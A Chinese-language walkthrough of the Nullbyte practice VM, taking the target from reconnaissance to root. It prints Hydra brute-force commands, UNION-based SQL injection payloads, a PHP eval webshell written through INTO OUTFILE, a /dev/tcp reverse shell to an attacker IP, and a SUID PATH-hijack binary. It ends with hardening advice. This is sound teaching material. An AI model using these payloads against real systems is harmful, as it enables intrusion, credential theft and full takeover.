Nullbyte渗透靶场精讲
字数 2313
更新时间 2026-02-27 03:06:29

Nullbyte渗透靶场实战教学文档

一、靶场概述

Nullbyte是一个难度较低的渗透测试练习靶机,适合网络安全初学者入门。本教学文档将基于完整的渗透测试流程,详细解析从信息收集到最终提权的每个步骤。

二、环境准备与初始信息

  • 目标IP:10.10.10.135
  • 攻击机环境:Kali Linux
  • 渗透测试工具:nmap, gobuster, hydra, sqlmap, john等

三、信息收集阶段

3.1 主机发现

使用nmap进行网络存活主机扫描,确定目标主机地址:

nmap -sn 10.10.10.0/24

发现靶机IP为10.10.10.135。

3.2 端口扫描与服务识别

  1. TCP全端口扫描
nmap -sT --min-rate 10000 -p- 10.10.10.135 -oA nmapscan/ports1

发现开放端口:80, 111, 777, 45409。

  1. 服务版本探测
nmap -sT -sV -sC -p80,111,777,45409 10.10.10.135 -oA nmapscan/detail1

服务识别结果:

  • 80端口:HTTP服务
  • 777端口:SSH服务
  • 111端口:RPC服务
  • 45409端口:RPC服务
  1. UDP端口扫描
nmap -sU --top-ports 20 10.10.10.135 -oA nmapscan/udp1

未发现有价值信息。

3.3 漏洞扫描

nmap --script=vuln -p80,111,777,45409 10.10.10.135 -oA nmapscan/vuln1

重点关注发现:

  • phpMyAdmin相关漏洞
  • uploads目录潜在风险

3.4 目录扫描

使用gobuster进行Web目录枚举:

gobuster dir -u http://10.10.10.135/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

发现关键目录:

  • /uploads - 文件上传目录
  • /phpmyadmin - 数据库管理界面
  • /javascript - JavaScript文件目录

四、Web渗透阶段

4.1 初始访问点发现

  1. 访问Web首页(http://10.10.10.135/),显示一句话:"如果你探寻和谐的法则,你将会发现知识"。
  2. 页面包含一个main.gif图片,下载并分析:
wget http://10.10.10.135/main.gif
exiftool main.gif

在图片元数据中发现隐藏字符串:kzMb5nVYJw

4.2 隐藏路径访问

将发现的神秘字符串作为路径访问:

  • http://10.10.10.135/kzMb5nVYJw/
    该路径下存在一个需要输入key的表单页面。

4.3 密码爆破

  1. 查看页面源码:发现表单验证逻辑简单,未连接数据库
  2. 使用Hydra爆破
hydra 10.10.10.135 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l l2xcty -P /usr/share/wordlists/rockyou.txt
  1. 爆破结果:成功获得密码 elite

4.4 表单功能分析

  1. 使用密码elite登录后,显示一个搜索表单
  2. 表单通过GET方式向420search.php提交参数usrtosearch
  3. 测试发现存在SQL注入漏洞:双引号可闭合SQL语句

五、SQL注入利用(四种方法)

5.1 手工注入

  1. 判断列数
" order by 3;-- -  # 正常
" order by 4;-- -  # 错误

确定有3列。

  1. 联合查询注入
" union select 1,2,3;-- -
" union select database(),user(),version();-- -

当前数据库:seth

  1. 获取表信息
" union select table_schema,table_name,3 from information_schema.tables;-- -

发现users表。

  1. 获取列信息
" union select column_name,2,3 from information_schema.columns where table_schema='seth' and table_name='users';-- -

列名:user, pass, position

  1. 提取数据
" union select user,pass,position from users;-- -

获得加密密码:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE

  1. 密码解密
echo -n YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | base64 -d

得到:c6d6bd7ebf806f43c76acc3681703b81

  1. 哈希识别与破解
hash-identifier c6d6bd7ebf806f43c76acc3681703b81  # 识别为MD5
echo "c6d6bd7ebf806f43c76acc3681703b81" > 1
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt 1

破解得到明文密码:omega

  1. SSH登录
ssh ramses@10.10.10.135 -p777

使用密码omega成功登录。

5.2 使用sqlmap自动化注入

sqlmap -u "http://10.10.10.135/kzMb5nVYJw/420search.php?usrtosearch=1" -D seth -T users --dump

5.3 写入一句话木马

  1. 写入Webshell
"union select '<?php eval($_REQUEST[1]);?>','','' into outfile '/var/www/html/uploads/2.php' -- -
  1. 获取数据库密码
    查看420search.php配置文件,发现数据库root密码:sunnyvale

  2. 登录数据库

mysql -u root -p

输入密码sunnyvale

5.4 反弹Shell

  1. 写入反弹Shell脚本
"union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.136/7777 0>&1'\");?>","","" into outfile '/var/www/html/uploads/reverse.php' -- -
  1. 监听端口并访问
    攻击机监听:nc -lvp 7777
    访问:http://10.10.10.135/uploads/reverse.php

六、权限提升

6.1 系统信息枚举

  1. 检查sudo权限
sudo -l

用户ramses无sudo权限。

  1. 查找SUID文件
find / -perm -u=s -type f 2>/dev/null

发现可疑文件:/var/www/backup/procwatch

6.2 SUID提权分析

  1. 分析procwatch程序
./procwatch

输出显示程序执行了ps命令:

PID TTY TIME CMD
19394 pts/0 00:00:00 procwatch
19395 pts/0 00:00:00 sh
19396 pts/0 00:00:00 ps
  1. 漏洞原理
    程序调用ps时未使用绝对路径,存在PATH环境变量劫持风险。

6.3 提权方法一:编译恶意ps程序

  1. 创建ps.c文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void main(){
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
  1. 编译并设置PATH
gcc -o ps ps.c
export PATH=.:$PATH
./procwatch

成功获得root权限。

6.4 提权方法二:创建软链接

ln -s /bin/sh ps
export PATH=.:$PATH
./procwatch
whoami  # 显示root

6.5 方法差异分析

  • 方法一:通过bash -p参数保持SUID权限,直接显示root提示符
  • 方法二:软链接到/bin/sh,dash会降级权限,但实际仍为root用户

6.6 获取flag

提权成功后,在root目录下查找flag文件。

七、安全总结与加固建议

7.1 靶机安全漏洞总结

  1. 信息泄露
    • 图片中隐藏敏感信息
    • 目录结构可被枚举
  2. 认证缺陷
    • 弱密码策略
    • 前端验证可被绕过
  3. 注入漏洞
    • SQL注入漏洞
    • 未过滤用户输入
  4. 配置不当
    • 数据库默认密码
    • SUID程序路径劫持
  5. 权限问题
    • 不必要的SUID权限
    • 文件上传目录可执行权限

7.2 防护措施建议

  1. 信息泄露防护
    • 移除元数据敏感信息
    • 限制目录遍历
  2. 认证加固
    • 实施强密码策略
    • 使用后端验证
  3. 输入验证
    • 使用参数化查询
    • 实施输入过滤
  4. 权限控制
    • 遵循最小权限原则
    • 移除不必要SUID权限
  5. 路径安全
    • 使用绝对路径调用系统命令
    • 限制PATH环境变量修改

八、技能要点总结

通过本靶机练习,可掌握以下渗透测试技能:

  1. 基础信息收集与枚举技术
  2. Web目录爆破与路径发现
  3. 密码爆破与表单绕过
  4. SQL注入的手动与自动化利用
  5. 文件写入与Webshell上传
  6. 系统权限枚举与SUID提权
  7. 环境变量劫持技术
  8. 完整的渗透测试流程实践

文档说明:本教学文档基于先知社区的《Nullbyte渗透靶场精讲》文章内容整理,详细记录了从信息收集到权限提升的完整渗透流程,适合网络安全初学者学习和实践。

 全屏